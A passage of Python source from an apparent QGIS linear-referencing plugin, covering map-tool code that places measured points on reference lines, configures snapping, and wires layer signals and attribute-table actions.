self.draw_reference_geom(self.rs.snapped_ref_fid)\n                self.dlg_show_measure(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n    def pan_to_measure(self, ref_fid: int, measure: float):\n        \"\"\"pans canvas-extent to measured point\n        :param ref_fid: FID of selected reference-line\n        :param measure: measure along reference-line\n        \"\"\"\n        if self.cf.reference_layer_defined:\n            ref_feature = self.ds.refLyr.getFeature(ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                ref_feature_geom = ref_feature.geometry()\n                projected_point = ref_feature_geom.interpolate(measure)\n                if self.iface.mapCanvas().mapSettings().destinationCrs() != self.ds.refLyr.crs():\n                    projected_point.transform(qgis.core.QgsCoordinateTransform(self.ds.refLyr.crs(), self.iface.mapCanvas().mapSettings().destinationCrs(), qgis.core.QgsProject.instance()))\n\n                if projected_point:\n                    self.iface.mapCanvas().setCenter(projected_point.asPoint())\n                    self.iface.mapCanvas().refresh()\n\n    def draw_edit_point(self, ref_fid: int, measure: float):\n        \"\"\"draw vm_pt_edit\n        :param ref_fid: FID of selected reference-line\n        :param measure: measure along reference-line\"\"\"\n        # Rev. 2023-06-03\n        if self.cf.reference_layer_defined:\n            ref_feature = self.ds.refLyr.getFeature(ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                ref_feature_geom = ref_feature.geometry()\n                projected_point = ref_feature_geom.interpolate(measure)\n                if self.iface.mapCanvas().mapSettings().destinationCrs() != self.ds.refLyr.crs():\n                    projected_point.transform(qgis.core.QgsCoordinateTransform(self.ds.refLyr.crs(), self.iface.mapCanvas().mapSettings().destinationCrs(), qgis.core.QgsProject.instance()))\n                if projected_point:\n                    self.vm_pt_edit.setCenter(projected_point.asPoint())\n                    self.vm_pt_edit.show()\n\n    def draw_measured_point(self, ref_fid: int, measure: float):\n        \"\"\"helper-function which shows vm_pt_measure and the reference-line-rubber-band\n        recalculates and refreshes some widgets in dialog\n        :param ref_fid: FID of selected reference-line\n        :param measure: measure along reference-line\n        \"\"\"\n        # Rev. 2023-05-03\n        if self.cf.reference_layer_defined:\n            ref_feature = self.ds.refLyr.getFeature(ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                ref_feature_geom = ref_feature.geometry()\n                projected_point = ref_feature_geom.interpolate(measure)\n                if self.iface.mapCanvas().mapSettings().destinationCrs() != self.ds.refLyr.crs():\n                    projected_point.transform(qgis.core.QgsCoordinateTransform(self.ds.refLyr.crs(), self.iface.mapCanvas().mapSettings().destinationCrs(), qgis.core.QgsProject.instance()))\n\n                if projected_point:\n                    self.vm_pt_measure.setCenter(projected_point.asPoint())\n                    self.vm_pt_measure.show()\n\n    def draw_reference_geom(self, ref_fid: int):\n        \"\"\"draw the referenced line-geometry self.rb_ref\n        :param ref_fid: FID of selected reference-line\n        \"\"\"\n        if self.cf.reference_layer_defined:\n            ref_feature = self.ds.refLyr.getFeature(ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                self.rb_ref.setToGeometry(ref_feature.geometry(), self.ds.refLyr)\n                self.rb_ref.show()\n            else:\n                self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Feature with fid {apos}{0}{apos} not found, not valid or without geometry\"),ref_fid))\n\n    def dlg_show_measure(self, ref_fid: int, measure: float):\n        \"\"\"refresh snap-coords and measure-results in dialogue\n        :param ref_fid: FID of selected reference-line\n        :param measure: measure along reference-line\"\"\"\n        # Rev. 2023-06-03\n        if self.my_dialogue and self.cf.reference_layer_defined:\n            ref_feature = self.ds.refLyr.getFeature(ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                self.my_dialogue.qcbn_snapped_ref_fid.select_by_value(0, 256, ref_feature.id())\n\n                projected_point = ref_feature.geometry().interpolate(measure)\n\n                if not projected_point.isNull():\n                    if self.iface.mapCanvas().mapSettings().destinationCrs() != self.ds.refLyr.crs():\n                        projected_point.transform(qgis.core.QgsCoordinateTransform(self.ds.refLyr.crs(), self.iface.mapCanvas().mapSettings().destinationCrs(), qgis.core.QgsProject.instance()))\n\n                    self.my_dialogue.dspbx_measure.setRange(0, ref_feature.geometry().length())\n                    self.show_measure_in_dialogue(measure)\n\n                    if ref_feature.geometry().length() > 0:\n                        # prevent \"ZeroDivisionError: float division by zero\"\n                        self.show_measure_fract_in_dialogue(measure / ref_feature.geometry().length())\n\n                    # map and snap-coords are the same\n                    self.show_snap_coords_in_dialogue(projected_point)\n                    self.dlg_refresh_measure_section()\n                else:\n                    self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Point with measure {0} on reference-line with fid {apos}{1}{apos} could not be calculated, check values...\"),measure, ref_fid))\n\n    def s_change_data_layer_measure_field(self) -> None:\n        \"\"\"change measure-field of Data-Layer in QComboBox\"\"\"\n        # Rev. 2023-05-03\n        self.rs.selected_pks = []\n        self.rs.edit_pk = None\n        self.ss.dataLyrMeasureFieldName = None\n        measure_field = self.my_dialogue.qcbn_data_layer_measure_field.currentData()\n        if measure_field:\n            self.ss.dataLyrMeasureFieldName = measure_field.name()\n\n        self.check_settings()\n        self.refresh_data_layer_actions()\n        self.dlg_refresh_edit_section()\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_layer_settings_section()\n\n    def s_change_show_layer_back_reference_field(self) -> None:\n        \"\"\"change Back-Reference-Field of Show-Layer in QComboBox\"\"\"\n        # Rev. 2023-05-03\n        self.ss.showLyrBackReferenceFieldName = None\n        back_ref_field = self.my_dialogue.qcbn_show_layer_back_reference_field.currentData()\n        if back_ref_field:\n            self.ss.showLyrBackReferenceFieldName = back_ref_field.name()\n        self.check_settings()\n        self.refresh_show_layer_actions()\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_layer_settings_section()\n\n    def s_change_data_layer_id_field(self) -> None:\n        \"\"\"change Reference-id-field of Data-Layer-PK-Field in QComboBox\"\"\"\n        # Rev. 2023-05-03\n        self.rs.selected_pks = []\n        self.rs.edit_pk = None\n        self.ss.dataLyrIdFieldName = None\n        id_field = self.my_dialogue.qcbn_data_layer_id_field.currentData()\n        if id_field:\n            self.ss.dataLyrIdFieldName = id_field.name()\n\n        self.check_settings()\n        self.refresh_data_layer_actions()\n        self.dlg_refresh_edit_section()\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_layer_settings_section()\n\n    def s_change_data_layer_reference_field(self) -> None:\n        \"\"\"change Reference-id-field of Data-Layer-Reference-field in QComboBox\"\"\"\n        # Rev. 2023-05-03\n        self.rs.selected_pks = []\n        self.rs.edit_pk = None\n        self.ss.dataLyrReferenceFieldName = None\n        if self.ss.dataLyrId:\n            ref_id_field = self.my_dialogue.qcbn_data_layer_reference_field.currentData()\n            if ref_id_field:\n                self.ss.dataLyrReferenceFieldName = ref_id_field.name()\n\n        self.check_settings()\n        self.refresh_data_layer_actions()\n        self.dlg_refresh_edit_section()\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_layer_settings_section()\n\n    def s_change_reference_layer(self) -> None:\n        \"\"\"change Reference-Layer in QComboBox\"\"\"\n        # Rev. 2023-05-03\n        self.rs.selected_pks = []\n        self.rs.edit_pk = None\n        self.ss.refLyrId = None\n        self.ss.refLyrIdFieldName = None\n        self.ss.dataLyrId = None\n        self.ss.dataLyrIdFieldName = None\n        self.ss.dataLyrReferenceFieldName = None\n        self.ss.dataLyrMeasureFieldName = None\n        self.ss.showLyrId = None\n        self.ss.showLyrBackReferenceFieldName = None\n        reference_layer = self.my_dialogue.qcbn_reference_layer.currentData()\n        self.connect_reference_layer(reference_layer)\n        self.check_settings()\n        self.dlg_refresh_reference_layer_section()\n        self.dlg_refresh_measure_section()\n        self.dlg_refresh_edit_section()\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_layer_settings_section()\n\n    def dlg_refresh_edit_section(self):\n        \"\"\"refreshes the edit-section in dialog\"\"\"\n        # Rev. 2023-05-10\n        if self.my_dialogue:\n            self.my_dialogue.pbtn_insert_feature.setEnabled(self.cf.insert_enabled)\n            self.my_dialogue.pbtn_update_feature.setEnabled(self.cf.update_enabled and self.rs.edit_pk is not None)\n            self.my_dialogue.pbtn_delete_feature.setEnabled(self.cf.delete_enabled and self.rs.edit_pk is not None)\n            if self.rs.edit_pk is not None:\n                if not self.check_data_feature(self.rs.edit_pk,False):\n                    self.rs.edit_pk = None\n                    self.my_dialogue.le_edit_data_pk.clear()\n\n    def connect_reference_layer(self, reference_layer) -> None:\n        \"\"\"prepares Reference-Layer:\n        sets self.ss.refLyrId\n        connects signals\n        configures canvas-snap-settings\n        \"\"\"\n        # Rev. 2023-05-03\n\n        # disconnect all previously connected Reference-Layer\n        self.disconnect_reference_layers()\n\n        prev_refLyrId = self.ss.refLyrId\n\n        self.ss.refLyrId = None\n        if reference_layer:\n            self.ss.refLyrId = reference_layer.id()\n            # snapping settings ar stored in canvas, not in layer\n            my_snap_config = self.iface.mapCanvas().snappingUtils().config()\n            # clear all previous settings\n            my_snap_config.clearIndividualLayerSettings()\n            # enable snapping\n            my_snap_config.setEnabled(True)\n            # advanced: layer-wise snapping settings\n            my_snap_config.setMode(qgis.core.QgsSnappingConfig.AdvancedConfiguration)\n            # combination of snapping-modes\n            type_flag = qgis.core.Qgis.SnappingTypes(qgis.core.Qgis.SnappingType.Segment | qgis.core.Qgis.SnappingType.LineEndpoint)\n            my_snap_config.setIndividualLayerSettings(reference_layer, qgis.core.QgsSnappingConfig.IndividualLayerSettings(enabled=True, type=type_flag, tolerance=10, units=qgis.core.QgsTolerance.UnitType.Pixels))\n            my_snap_config.setIntersectionSnapping(False)\n            qgis.core.QgsProject.instance().setSnappingConfig(my_snap_config)\n\n            # second: connect to new refLyr\n            # displayExpressionChanged not triggered with configChanged\n            # afterCommitChanges ➜ refresh too, if the Reference-Layer was edited\n\n            self.rs.reference_layer_connections.append(reference_layer.configChanged.connect(self.refresh_gui))\n            self.rs.reference_layer_connections.append(reference_layer.displayExpressionChanged.connect(self.refresh_gui))\n            self.rs.reference_layer_connections.append(reference_layer.afterCommitChanges.connect(self.dlg_refresh_feature_selection_section))\n            self.rs.reference_layer_connections.append(reference_layer.afterCommitChanges.connect(self.dlg_refresh_reference_layer_section))\n\n            # Layer has changed ➜ check and warn if multi-xxx-layer\n            if reference_layer.id() != prev_refLyrId:\n                multi_linestring_geometry_types = [\n                    # problematic: Shape-Format doesn't distinguish between single- and multi-geometry-types\n                    # unpredictable though, how measures on multi-linestring will be located\n                    qgis.core.QgsWkbTypes.MultiLineString,\n                    qgis.core.QgsWkbTypes.MultiLineString25D,\n                    qgis.core.QgsWkbTypes.MultiLineStringM,\n                    qgis.core.QgsWkbTypes.MultiLineStringZ,\n                    qgis.core.QgsWkbTypes.MultiLineStringZM,\n\n                ]\n                if reference_layer.dataProvider().wkbType() in multi_linestring_geometry_types:\n                    inspect_class = qgis.core.QgsWkbTypes\n                    enum_class = qgis.core.QgsWkbTypes.Type\n                    keys_by_value = {getattr(inspect_class, att_name): att_name for att_name in vars(inspect_class) if type(getattr(inspect_class, att_name)) == enum_class}\n                    wkb_label = keys_by_value[reference_layer.dataProvider().wkbType()]\n                    self.push_messages(info_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Reference-Layer {apos}{0}{apos} is of type {apos}{1}{apos}, Point-on-Line-features on multi-lines are not shown\"),reference_layer.name(), wkb_label))\n\n    def refresh_gui(self):\n        \"\"\"wrapper-slot for any layer-config-change, checks the settings and refreshes GUI (dialog, layer-actions, Snapping, canvas-graphics)\"\"\"\n        # Rev. 2023-05-10\n        self.check_settings()\n        self.dlg_refresh_reference_layer_section()\n        self.dlg_refresh_measure_section()\n        self.dlg_refresh_edit_section()\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_layer_settings_section()\n        self.dlg_refresh_style_settings_section()\n        self.dlg_refresh_stored_settings_section()\n        self.connect_all_layers()\n        self.refresh_canvas_graphics()\n\n    def dlg_refresh_data_sections(self):\n        \"\"\"wrapper-slot for any Data-Layer-change (update/insert/delete), refreshes parts of the dialog\"\"\"\n        # Rev. 2023-05-10\n        self.dlg_refresh_measure_section()\n        self.dlg_refresh_edit_section()\n        self.dlg_refresh_feature_selection_section()\n\n    def s_change_reference_layer_id_field(self) -> None:\n        \"\"\"change Reference-Layer-join-field in QComboBox\"\"\"\n        # Rev. 2023-05-03\n        self.rs.selected_pks = []\n        self.rs.edit_pk = None\n        self.ss.refLyrIdFieldName = None\n        self.ss.dataLyrId = None\n        self.ss.dataLyrIdFieldName = None\n        self.ss.dataLyrReferenceFieldName = None\n        self.ss.dataLyrMeasureFieldName = None\n        self.ss.showLyrId = None\n        self.ss.showLyrBackReferenceFieldName = None\n\n        reference_layer_id_field = self.my_dialogue.qcbn_reference_layer_id_field.currentData()\n        if reference_layer_id_field:\n            self.ss.refLyrIdFieldName = reference_layer_id_field.name()\n        self.check_settings()\n        self.dlg_refresh_reference_layer_section()\n        self.dlg_refresh_measure_section()\n        self.dlg_refresh_edit_section()\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_layer_settings_section()\n\n    def s_change_data_layer(self) -> None:\n        \"\"\"change Data-Layer in QComboBox\"\"\"\n        # Rev. 2023-05-08\n        self.rs.selected_pks = []\n        self.rs.edit_pk = None\n\n        self.ss.dataLyrId = None\n        self.ss.dataLyrIdFieldName = None\n        self.ss.dataLyrReferenceFieldName = None\n        self.ss.dataLyrMeasureFieldName = None\n        self.ss.showLyrId = None\n        self.ss.showLyrBackReferenceFieldName = None\n        self.connect_data_layer(self.my_dialogue.qcbn_data_layer.currentData())\n        self.check_settings()\n        self.refresh_data_layer_actions()\n        self.dlg_refresh_edit_section()\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_layer_settings_section()\n\n    def disconnect_data_layers(self):\n        \"\"\"disconnect all potential Data-layers: disconnect signal/slot and removeAction \"\"\"\n        # Rev. 2023-05-22\n        data_layers = tools.MyToolFunctions.get_data_layers()\n        for layer_id in data_layers:\n            layer = data_layers[layer_id]\n\n            action_list = [action for action in layer.actions().actions() if action.id() in [self._lyr_act_id_1, self._lyr_act_id_2]]\n            for action in action_list:\n                layer.actions().removeAction(action.id())\n\n            for connection in self.rs.data_layer_connections:\n                try:\n                    layer.disconnect(connection)\n                except Exception as e:\n                    # \"'method' object is not connected\"\n                    pass\n\n            attribute_table_widgets = [widget for widget in QtWidgets.QApplication.instance().allWidgets() if isinstance(widget, QtWidgets.QDialog) and widget.objectName() == f\"QgsAttributeTableDialog/{layer.id()}\"]\n\n            for at_wdg in attribute_table_widgets:\n                reload_action = at_wdg.findChild(QtWidgets.QAction, 'mActionReload')\n                if reload_action:\n                    reload_action.trigger()\n\n        self.rs.data_layer_connections = []\n\n    def disconnect_reference_layers(self):\n        \"\"\"disconnect all potential Reference-layers: disconnect signal/slot\"\"\"\n        # Rev. 2023-05-22\n        disconnect_errors = []\n        linestring_layers = tools.MyToolFunctions.get_linestring_layers()\n        for layer_id in linestring_layers:\n            layer = linestring_layers[layer_id]\n            for connection in self.rs.reference_layer_connections:\n                try:\n                    layer.disconnect(connection)\n                except Exception as e:\n                    # \"'method' object is not connected\"\n                    disconnect_errors.append(f\"'{layer.name()}' disconnect ➜ \\\"{e}\\\"\")\n\n        self.rs.reference_layer_connections = []\n\n        if disconnect_errors:\n            # print(disconnect_errors)\n            pass\n\n    def disconnect_show_layer(self):\n        \"\"\"disconnect currently connected Show-Layer: disconnect signal/slot and removeAction \"\"\"\n        # Rev. 2023-05-22\n        if self.ds.showLyr:\n\n            action_list = [action for action in self.ds.showLyr.actions().actions() if action.id() in [self._lyr_act_id_1, self._lyr_act_id_2]]\n            for action in action_list:\n                self.ds.showLyr.actions().removeAction(action.id())\n\n            for connection in self.rs.show_layer_connections:\n                try:\n                    self.ds.showLyr.disconnect(connection)\n                except Exception as e:\n                    # \"'method' object is not connected\"\n                    pass\n\n            attribute_table_widgets = [widget for widget in QtWidgets.QApplication.instance().allWidgets() if isinstance(widget, QtWidgets.QDialog) and widget.objectName() == f\"QgsAttributeTableDialog/{self.ds.showLyr.id()}\"]\n\n            for at_wdg in attribute_table_widgets:\n                reload_action = at_wdg.findChild(QtWidgets.QAction, 'mActionReload')\n                if reload_action:\n                    reload_action.trigger()\n\n    def disconnect_show_layers(self):\n        \"\"\"disconnect all potential show-layers: disconnect signal/slot and removeAction \"\"\"\n        # Rev. 2023-05-22\n        disconnect_errors = []\n        point_show_layers = tools.MyToolFunctions.get_point_show_layers()\n        for layer_id in point_show_layers:\n            layer = point_show_layers[layer_id]\n\n            action_list = [action for action in layer.actions().actions() if action.id() in [self._lyr_act_id_1, self._lyr_act_id_2]]\n            for action in action_list:\n                layer.actions().removeAction(action.id())\n\n            for connection in self.rs.show_layer_connections:\n                try:\n                    layer.disconnect(connection)\n                except Exception as e:\n                    # \"'method' object is not connected\"\n                    disconnect_errors.append(f\"'{layer.name()}' disconnect ➜ \\\"{e}\\\"\")\n\n            attribute_table_widgets = [widget for widget in QtWidgets.QApplication.instance().allWidgets() if isinstance(widget, QtWidgets.QDialog) and widget.objectName() == f\"QgsAttributeTableDialog/{layer.id()}\"]\n\n            for at_wdg in attribute_table_widgets:\n                reload_action = at_wdg.findChild(QtWidgets.QAction, 'mActionReload')\n                if reload_action:\n                    reload_action.trigger()\n\n        self.rs.show_layer_connections = []\n        if disconnect_errors:\n            # print(disconnect_errors)\n            pass\n\n    def disconnect_all_layers(self):\n        \"\"\"remove Plugin-Layer-Actions from Vector-Layers\n        removes connected slots\n        .. Note::\n            * no table refresh ➜ reopen table/form necessary\n            * attributeTableConfig.setActionWidgetVisible(True) will be unchanged\n        \"\"\"\n        # Rev. 2023-05-08\n\n        self.disconnect_data_layers()\n        self.disconnect_reference_layers()\n        self.disconnect_show_layers()\n\n    def connect_all_layers(self):\n        if self.ds.dataLyr:\n            self.connect_data_layer(self.ds.dataLyr)\n\n        if self.ds.refLyr:\n            self.connect_reference_layer(self.ds.refLyr)\n\n        if self.ds.showLyr:\n            self.connect_show_layer(self.ds.showLyr)\n\n    def refresh_data_layer_actions(self):\n        \"\"\"refreshes the action-buttons in Data-Layer\"\"\"\n        if self.ds.dataLyr is not None:\n            action_list = [action for action in self.ds.dataLyr.actions().actions() if action.id() in [self._lyr_act_id_1, self._lyr_act_id_2]]\n            for action in action_list:\n                self.ds.dataLyr.actions().removeAction(action.id())\n\n            if self.cf.data_layer_complete:\n                action_dict = {action.id(): action for action in self.ds.dataLyr.actions().actions() if action.id() in [self._lyr_act_id_1, self._lyr_act_id_2]}\n                if not self._lyr_act_id_1 in action_dict:\n                    data_layer_s_h_action = qgis.core.QgsAction(\n                        self._lyr_act_id_1,\n                        qgis.core.QgsAction.ActionType.GenericPython,  # int 1\n                        'Select + Highlight',\n                        \"from LinearReferencing.map_tools.FeatureActions import edit_point_on_line_feature\\nedit_point_on_line_feature([%@id%],'[%@layer_id%]',False)\",\n                        ':icons/mIconSelected.svg',\n                        False,\n                        '',\n                        {'Feature'},\n                        ''\n                    )\n                    self.ds.dataLyr.actions().addAction(data_layer_s_h_action)\n                if not self._lyr_act_id_2 in action_dict:\n                    data_layer_s_h_p_action = qgis.core.QgsAction(\n                        self._lyr_act_id_2,\n                        qgis.core.QgsAction.ActionType.GenericPython,  # int 1\n                        'Select + Highlight + Pan',\n                        \"from LinearReferencing.map_tools.FeatureActions import edit_point_on_line_feature\\nedit_point_on_line_feature([%@id%],'[%@layer_id%]',True)\",\n                        ':icons/mActionPanToSelected.svg',\n                        False,\n                        '',\n                        {'Feature'},\n                        ''\n                    )\n\n                    self.ds.dataLyr.actions().addAction(data_layer_s_h_p_action)\n\n            atc = self.ds.dataLyr.attributeTableConfig()\n            if not atc.actionWidgetVisible():\n                # qgis.core.QgsAttributeTableConfig.ButtonList / qgis.core.QgsAttributeTableConfig.DropDown\n                atc.setActionWidgetStyle(qgis.core.QgsAttributeTableConfig.ButtonList)\n                atc.setActionWidgetVisible(True)\n                self.ds.dataLyr.setAttributeTableConfig(atc)\n\n            # tricky: get all associated opened attribute-tables for this Layer and refresh their contents to show the new actions\n            attribute_table_widgets = [widget for widget in QtWidgets.QApplication.instance().allWidgets() if isinstance(widget, QtWidgets.QDialog) and widget.objectName() == f\"QgsAttributeTableDialog/{self.ds.dataLyr.id()}\"]\n\n            for at_wdg in attribute_table_widgets:\n                reload_action = at_wdg.findChild(QtWidgets.QAction, 'mActionReload')\n                if reload_action:\n                    reload_action.trigger()\n\n    def disconnect_data_layer(self):\n        \"\"\"disconnects currently registered Data-Layer\"\"\"\n        if self.ds.dataLyr:\n            action_list = [action for action in self.ds.dataLyr.actions().actions() if action.id() in [self._lyr_act_id_1, self._lyr_act_id_2]]\n            for action in action_list:\n                self.ds.dataLyr.actions().removeAction(action.id())\n\n            for connection in self.rs.data_layer_connections:\n                try:\n                    self.ds.dataLyr.disconnect(connection)\n                except Exception as e:\n                    # \"'method' object is not connected\"\n                    pass\n\n            attribute_table_widgets = [widget for widget in QtWidgets.QApplication.instance().allWidgets() if isinstance(widget, QtWidgets.QDialog) and widget.objectName() == f\"QgsAttributeTableDialog/{self.ds.dataLyr.id()}\"]\n\n            for at_wdg in attribute_table_widgets:\n                reload_action = at_wdg.findChild(QtWidgets.QAction, 'mActionReload')\n                if reload_action:\n                    reload_action.trigger()\n\n    def connect_data_layer(self, data_layer) -> None:\n        \"\"\"prepares Data-Layer:\n        sets self.ss.dataLyrId\n        adds actions\n        connects signals\n        disconnects previous dataLyr\n        \"\"\"\n        # Rev. 2023-05-08\n        critical_msg = ''\n        success_msg = ''\n        info_msg = ''\n        warning_msg = ''\n\n        # disconnect\n        self.disconnect_data_layer()\n\n        self.ss.dataLyrId = None\n\n        if data_layer:\n\n            # https://doc.qt.io/qt-5/qmetaobject-connection.html\n            self.rs.data_layer_connections.append(data_layer.configChanged.connect(self.refresh_gui))\n            self.rs.data_layer_connections.append(data_layer.afterCommitChanges.connect(self.dlg_refresh_data_sections))\n            self.rs.data_layer_connections.append(data_layer.displayExpressionChanged.connect(self.refresh_gui))\n\n            storage_type = data_layer.dataProvider().storageType()\n            if storage_type in ['XLSX', 'ODS']:\n                warning_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Source-Format of chosen Data-Layer {apos}{0}{apos} is a file-based office-format (*.xlsx/*.odf), supported, but not recommended...\"),data_layer.name())\n\n            caps = data_layer.dataProvider().capabilities()\n            caps_result = []\n            if not (caps & qgis.core.QgsVectorDataProvider.AddFeatures):\n                caps_result.append(\"AddFeatures\")\n\n            if not (caps & qgis.core.QgsVectorDataProvider.DeleteFeatures):\n                caps_result.append(\"DeleteFeatures\")\n\n            if not (caps & qgis.core.QgsVectorDataProvider.ChangeAttributeValues):\n                caps_result.append(\"ChangeAttributeValues\")\n\n            if caps_result:\n                caps_string = \", \".join(caps_result)\n                warning_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Missing capabilities in Data-Layer:{br}{0}{br}{nbsp}{arrow}{nbsp}Some editing options will not be available\"),caps_string)\n\n            self.ss.dataLyrId = data_layer.id()\n\n        self.refresh_data_layer_actions()\n        self.push_messages(success_msg, info_msg, warning_msg, critical_msg)\n\n    def s_change_show_layer(self) -> None:\n        \"\"\"change Show-Layer in QComboBox, items are filtered to suitable layer-types\"\"\"\n        # Rev. 2023-05-03\n        self.ss.showLyrId = None\n        self.ss.showLyrBackReferenceFieldName = None\n        self.connect_show_layer(self.my_dialogue.qcbn_show_layer.currentData())\n        self.check_settings()\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_layer_settings_section()\n\n    def connect_show_layer(self, show_layer) -> None:\n        \"\"\"prepares Show-Layer:\n        sets self.ss.showLyrId\n        adds actions\n        connects signals\n        cleans previous showLyr\n        called from s_change_show_layer and restore_settings\"\"\"\n        # Rev. 2023-05-03\n        # previous showLyr:\n        self.disconnect_show_layers()\n\n        self.ss.showLyrId = None\n        if show_layer:\n            self.ss.showLyrId = show_layer.id()\n            self.rs.show_layer_connections.append(show_layer.configChanged.connect(self.refresh_gui))\n            self.rs.show_layer_connections.append(show_layer.displayExpressionChanged.connect(self.refresh_gui))\n            self.ds.showLyr = show_layer\n            self.refresh_show_layer_actions()\n\n    def refresh_show_layer_actions(self):\n        \"\"\"refreshes the action-buttons in Show-Layer\"\"\"\n        if self.ds.showLyr is not None:\n            action_list = [action for action in self.ds.showLyr.actions().actions() if action.id() in [self._lyr_act_id_1, self._lyr_act_id_2]]\n            for action in action_list:\n                self.ds.showLyr.actions().removeAction(action.id())\n\n            action_dict = {action.id(): action for action in self.ds.showLyr.actions().actions() if action.id() in [self._lyr_act_id_1, self._lyr_act_id_2]}\n\n            if self.cf.show_layer_complete:\n                # BackReference-Field necessary for these layer-actions\n                if not self._lyr_act_id_1 in action_dict:\n                    show_layer_s_h_action = qgis.core.QgsAction(\n                        self._lyr_act_id_1,\n                        qgis.core.QgsAction.ActionType.GenericPython,  # int 1\n                        'Select + Highlight',\n                        \"from LinearReferencing.map_tools.FeatureActions import edit_point_on_line_feature\\nedit_point_on_line_feature([%@id%],'[%@layer_id%]',False)\",\n                        ':icons/mIconSelected.svg',\n                        False,\n                        '',\n                        {'Feature'},\n                        ''\n                    )\n                    self.ds.showLyr.actions().addAction(show_layer_s_h_action)\n                if not self._lyr_act_id_2 in action_dict:\n                    show_layer_s_h_p_action = qgis.core.QgsAction(\n                        self._lyr_act_id_2,\n                        qgis.core.QgsAction.ActionType.GenericPython,  # int 1\n                        'Select + Highlight + Pan',\n                        \"from LinearReferencing.map_tools.FeatureActions import edit_point_on_line_feature\\nedit_point_on_line_feature([%@id%],'[%@layer_id%]',True)\",\n                        ':icons/mActionPanToSelected.svg',\n                        False,\n                        '',\n                        {'Feature'},\n                        ''\n                    )\n                    self.ds.showLyr.actions().addAction(show_layer_s_h_p_action)\n\n            atc = self.ds.showLyr.attributeTableConfig()\n            if not atc.actionWidgetVisible():\n                # qgis.core.QgsAttributeTableConfig.ButtonList / qgis.core.QgsAttributeTableConfig.DropDown\n                atc.setActionWidgetStyle(qgis.core.QgsAttributeTableConfig.ButtonList)\n                atc.setActionWidgetVisible(True)\n                self.ds.showLyr.setAttributeTableConfig(atc)\n\n            # tricky: get all associated opened attribute-tables for this Layer and refresh their contents to show the new actions\n            attribute_table_widgets = [widget for widget in QtWidgets.QApplication.instance().allWidgets() if isinstance(widget, QtWidgets.QDialog) and widget.objectName() == f\"QgsAttributeTableDialog/{self.ds.showLyr.id()}\"]\n\n            for at_wdg in attribute_table_widgets:\n                reload_action = at_wdg.findChild(QtWidgets.QAction, 'mActionReload')\n                if reload_action:\n                    reload_action.trigger()\n\n    def show_map_coords_in_dialogue(self, point: qgis.core.QgsPointXY | qgis.core.QgsGeometry):\n        \"\"\"shows the point-coords (transformed cursor-position) in dialogue\n        :param point: two types supported\"\"\"\n        # Rev. 2023-05-03\n        if isinstance(point, qgis.core.QgsGeometry):\n            point = point.centroid().asPoint()\n        # round the values with num_digits, dependend from the projection\n        str_map_x = '{:.{prec}f}'.format(point.x(), prec=self.rs.num_digits)\n        str_map_y = '{:.{prec}f}'.format(point.y(), prec=self.rs.num_digits)\n        self.my_dialogue.le_map_x.setText(str_map_x)\n        self.my_dialogue.le_map_y.setText(str_map_y)\n\n    def show_snap_coords_in_dialogue(self, point: qgis.core.QgsPointXY | qgis.core.QgsGeometry):\n        \"\"\"shows the point-coords (transformed snapped to line-position) in dialogue\n        :param point: two types supported\"\"\"\n        # Rev. 2023-05-03\n        if isinstance(point, qgis.core.QgsGeometry):\n            point = point.centroid().asPoint()\n        # round the values with num_digits, depending on the projection\n        str_snap_x = '{:.{prec}f}'.format(point.x(), prec=self.rs.num_digits)\n        str_snap_y = '{:.{prec}f}'.format(point.y(), prec=self.rs.num_digits)\n        self.my_dialogue.le_snap_pt1_x.setText(str_snap_x)\n        self.my_dialogue.le_snap_pt1_y.setText(str_snap_y)\n\n    def show_measure_in_dialogue(self, measure: float):\n        \"\"\"shows this value in DoubleSpinBox\"\"\"\n        # Rev. 2023-05-03\n        with QtCore.QSignalBlocker(self.my_dialogue.dspbx_measure):\n            self.my_dialogue.dspbx_measure.setValue(measure)\n\n    def show_measure_fract_in_dialogue(self, measure_fract: float):\n        \"\"\"shows this value in DoubleSpinBox\"\"\"\n        # Rev. 2023-05-03\n        with QtCore.QSignalBlocker(self.my_dialogue.dspbx_measure_fract):\n            self.my_dialogue.dspbx_measure_fract.setValue(measure_fract)\n\n    def canvasMoveEvent(self, event: qgis.gui.QgsMapMouseEvent) -> None:\n        \"\"\"MouseMove on canvas\n        further action depending on rs.tool_mode\n        :param event:\n        \"\"\"\n        # Rev. 2023-05-03\n        point_xy = self.iface.mapCanvas().getCoordinateTransform().toMapCoordinates(event.x(), event.y())\n        self.show_map_coords_in_dialogue(point_xy)\n\n        if self.rs.tool_mode == 'move_point':\n            if self.rs.snapped_ref_fid is not None:\n                ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n\n                ref_projected_point_geom = qgis.core.QgsGeometry.fromPointXY(point_xy)\n                ref_projected_point_geom.transform(qgis.core.QgsCoordinateTransform(self.iface.mapCanvas().mapSettings().destinationCrs(), self.ds.refLyr.crs(), qgis.core.QgsProject.instance()))\n\n                # see https://qgis.org/pyqgis/master/core/QgsGeometry.html#qgis.core.QgsGeometry.closestSegmentWithContext\n                # returns tuple: (sqrDist, minDistPoint, nextVertexIndex, 